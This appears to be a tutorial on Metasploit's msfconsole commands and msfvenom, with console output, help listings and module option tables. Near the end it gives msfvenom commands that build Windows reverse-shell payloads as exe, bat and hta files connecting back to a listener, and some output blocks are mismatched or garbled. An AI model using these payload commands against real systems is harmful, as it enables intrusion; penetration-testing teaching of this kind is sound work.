

What is msfconsole?

- The **msfconsole** is probably the most popular interface to the Metasploit Framework (MSF).
- It provides an “all-in-one” centralized console and allows you efficient access to virtually all the options available in the MSF.
- Msfconsole may seem intimidating at first, but once you learn the syntax of the commands you will learn to appreciate the power of utilizing this interface.

Benefits to using Msfconsole?

- It is the only supported way to access most of the features within Metasploit.
- Provides a console-based interface to the framework
- Contains the most features and is the most stable MSF interface
- Full redline support, tabbing, and command completion
- Execution of external commands in msfconsole is possible:

```
msf > ping -c 1 192.168.1.100
[*] exec: ping -c 1 192.168.1.100

PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
64 bytes from 192.168.1.100: icmp_seq=1 ttl=128 time=10.3 ms

--- 192.168.1.100 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms
msf >
```

How to launch msfconsole?

- The Msfconsole is launched by simply running **msfconsole** from the command line.
- Msfconsole is in the

/usr/share/metasploit-framework/msfconsole directory.

```
(root@kali)-[/home/kali/Desktop]
# msfconsole
[*] Starting the Metasploit Framework console ... le ... \
eth0: flags=4096<UP,BROADCAST,MULTICAST> mtu 1500
    inet 192.168.75.128 netmask 255.255.255.0 broadcast 192.168.75.255
    inet6 fe80::20c:29ff:fe39:bf0c prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:39:bf:0c txqueuelen 1000 (Ethernet)
    RX packets 881606 bytes 1244551432 (1.1 GiB)
    RX errors 0 dropped 0 overruns 0 frame 0
```

```
(root@kali)-[/home/kali/Desktop]
# msfconsole

Metasploit v6.2.18-dev

+ -- --=[ 2244 exploits - 1185 auxiliary - 398 post ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Enable HTTP request and response logging
with set HttpTrace true

msf6 > █
```

- The **-q** option removes the launch banner by starting **msfconsole** in quiet mode.

```
(root@kali)-[/home/kali/Desktop]
# msfconsole -q
msf6 > █
```

How to use the command prompt of msfconsole?

- You can pass **-h** to **msfconsole** to see the other usage options available to you.

```
(root@kali)~[/home/kali/Desktop]
# msfconsole -h
Usage: msfconsole [options]

Common options:
  -E, --environment ENVIRONMENT  Set Rails environment, defaults to RAIL_ENV environment variable or 'production'

Database options:
  -M, --migration-path DIRECTORY  Specify a directory containing additional DB migrations
  -n, --no-database               Disable database support
  -y, --yaml PATH                 Specify a YAML file containing database settings

Framework options:
  -c FILE                         Load the specified configuration file
  -V, -V, --version               Show version

Module options:
  --defer-module-loads            Defer module loading unless explicitly asked
  -m, --module-path DIRECTORY    Load an additional module path

Console options:
  -a, --ask                       Ask before exiting Metasploit or accept 'exit -y'
  -H, --history-file FILE         Save command history to the specified file
  -l, --logger STRING             Specify a logger to use (TimestampColorlessFlatfile, Flatfile, Stderr, Stdout, StdoutWith
outTimestamps)
  --[no-]readline                Use the system Readline library instead of RbReadline
  -L, --real-readline            Output to the specified file
  -o, --output FILE               Load a plugin on startup
  -p, --plugin PLUGIN            Do not print the banner on startup
  -q, --quiet
```

- Entering **help** or a **?** once in the msf command prompt will display a listing of available commands along with a description of what they are used for.

```
msf > help

Core Commands
=====

Command      Description
-----
?            Help menu
advanced     Displays advanced options for one or more modules
back         Move back from the current context
banner       Display an awesome metasploit banner
cd           Change the current working directory
color        Toggle color
connect      Communicate with a host
edit         Edit the current module with $VISUAL or $EDITOR
exit         Exit the console
get          Gets the value of a context-specific variable
getg         Gets the value of a global variable
grep         Grep the output of another command
help         Help menu
info         Displays information about one or more modules
irb          Drop into irb scripting mode
jobs         Displays and manages jobs
kill         Kill a job
load         Load a framework plugin
loadpath     Searches for and loads modules from a path
makerc       Save commands entered since start to a file
options      Displays global options or for one or more modules
popm         Pops the latest module off the stack and makes it active
```

Msfconsole core commands:

1. Back

- Once you have finished working with a particular module, or if you inadvertently select the wrong module, you can issue the **back** command to move out of the current context.

```
msf auxiliary(ms09_001_write) > back
msf >
```

2. Banner

- Simply displays a randomly selected banner

```
msf > banner

_
/  /  _
| | / | _ _
| | / | | _ | - | / / _ | - _ / | | | | | | - - |
| | | | | _ | | / - _ | | | | _ / | | | |
  | / | _ / _ / \ _ / _ | | _ _

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

      =[ metasploit v4.11.4-2015071402                                ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post                    ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops                        ]
```

3. Connect

- There is a miniature Netcat clone built into the msfconsole that supports SSL, proxies, pivoting, and file transfers. By issuing the **connect** command with an IP address and port number, you can connect to a remote host from within msfconsole the same as you would with Netcat or Telnet.

```
msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:
```

4. Edit

- The **edit** command will edit the current module with \$VISUAL or \$EDITOR. By default, this will open the current module in Vim.

```
msf exploit(ms10_061_spoolss) > edit
[*] Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/smb/
msf exploit(ms10_061_spoolss) >
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/windows_error'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super.initialize(info)
```

5. Payloads

- As you can see, there are a lot of payloads available. Fortunately, when you are in the context of a particular exploit, running **show payloads** will only display the payloads that are compatible with that exploit. For instance, if it is a Windows exploit, you will not be shown the Linux payloads.

```
msf exploit(ms08_067_netapi) > show payloads
```

Compatible Payloads

=====

Name	Disclosure Date	Rank	Description
----	-----	----	-----
generic/custom		normal	Custom Payl
generic/debug_trap		normal	Generic x86
generic/shell_bind_tcp		normal	Generic Com
...snip...			

6. Options

- If you have selected a specific module, you can issue the **show options** command to display which settings are available and/or required for that specific module.

```
msf exploit(ms08_067_netapi) > show options
```

Module options:

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOST		yes	The target address
RPORT	445	yes	Set the SMB service port
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id	Name
--	----
0	Automatic Targeting

7. Targets

- If you aren't certain whether an operating system is vulnerable to a particular exploit, run the **show targets** command from within the context of an exploit module to see which targets are supported.

```
msf exploit(ms08_067_netapi) > show targets
```

Exploit targets:

Id	Name
0	Automatic Targeting
1	Windows 2000 Universal
10	Windows 2003 SP1 Japanese (NO NX)
11	Windows 2003 SP2 English (NO NX)
12	Windows 2003 SP2 English (NX)

...snip...

8. Encoders

- Running **show encoders** will display a listing of the encoders that are available within MSF.

```
msf > show encoders
```

Compatible Encoders

=====

Name	Disclosure Date	Rank	Description
cmd/generic_sh		good	Generic Shell Variable Substitution
cmd/ifs		low	Generic \${IFS} Substitution Command
cmd/printf_php_mq		manual	printf(1) via PHP magic_quotes Utili
generic/none		normal	The "none" Encoder
mipsbe/longxor		normal	XOR Encoder
mipsle/longxor		normal	XOR Encoder
php/base64		great	PHP Base64 encoder
ppc/longxor		normal	PPC LongXOR Encoder
ppc/longxor_tag		normal	PPC LongXOR Encoder
sparc/longxor_tag		normal	SPARC DWORD XOR Encoder
x64/xor		normal	XOR Encoder
x86/alpha_mixed		low	Alpha2 Alphanumeric Mixedcase Enc
x86/alpha_upper		low	Alpha2 Alphanumeric Uppercase Enc
x86/avoid_utf8_tolower		manual	Avoid UTF8/tolower
x86/call4_dword_xor		normal	Call+4 Dword XOR Encoder
x86/context_cpuid		manual	CPUID-based Context Keyed Payload
x86/context_stat		manual	stat(2)-based Context Keyed Paylo

What is msfvenom?

- MSF venom is a combination of MSF payload and MSF encode, putting both tools into a single Framework instance.
- **MSF venom** replaced both MSF payload and MSF encode as of June 8th, 2015.

```
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
Options:
root@kali:~# msfvenom -h
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]

Options:
  -p, --payload          Payload to use. Specify a '-' or stdin to use custom payload
  --payload-options      List the payload's standard options
  -l, --list [type]      List a module type. Options are: payloads, encoders
  -n, --nopsled          Prepend a nopsled of [length] size on to the payload
  -f, --format           Output format (use --help-formats for a list)
  --help-formats         List available formats
  -e, --encoder          The encoder to use
  -a, --arch             The architecture to use
  --platform            The platform of the payload
  --help-platforms      List available platforms
  -s, --space            The maximum size of the resulting payload
  --encoder-space        The maximum size of the encoded payload (defaults to the --space)
  -b, --bad-chars        The list of characters to avoid example: '\x00\xff'
  -i, --iterations      The number of times to encode the payload
```

MSF venom Syntax:

- MsfVenom is a Metasploit standalone payload generator which is also a replacement for msfpayload and msfencode.

Syntax: `msfvenom -p (payload type) lhost=(Listening's_IP) lport=(Listening_Port) -f (Filetype) > (Output Filename)`

Payload:

- Payloads are malicious scripts that an attacker use to interact with a target machine to compromise it.
- MSF venom supports the following platform and format to generate the payload.
- The output format could be in the form of executable files such as exe,php,dll or as a one-liner.

Framework Transform Formats	Framework Executable Formats	Framework Platforms
msfvenom --list formats	msfvenom --list formats	msfvenom --list platforms
bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript	asp aspx aspx-exe axis2 dll elf elf-so exe exe-only exe-service exe-small hta-psh jar jsp loop-vbs macho msi msi-nouac osx-app psh psh-cmd psh-net psh-reflection vba vba-exe vba-psh vbs war	aix android apple_ios brocade bsd bsdi cisco firefox freebsd hardware hpux irix java javascript juniper linux mainframe multi netbsd netware nodejs openbsd osx php python r ruby solaris unifi unix unknown windows

1. Executable Payload (exe):

- Executing the following command to create a malicious exe file is a common filename extension denoting an executable file for Microsoft Windows.

```
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f exe > shell.exe
```

2. Powershell Batch File:

- Execute the following command to create a malicious batch file, the filename extension .bat is used in DOS and Windows.

```
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 > shell.bat
```

3. HTML Application Payload:

- An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or Jscript.

```
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
```

What is Meterpreter?

- Meterpreter is an advanced, dynamically extensible payload that uses *in-memory* DLL injection stager and is extended over the network at runtime.
- It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.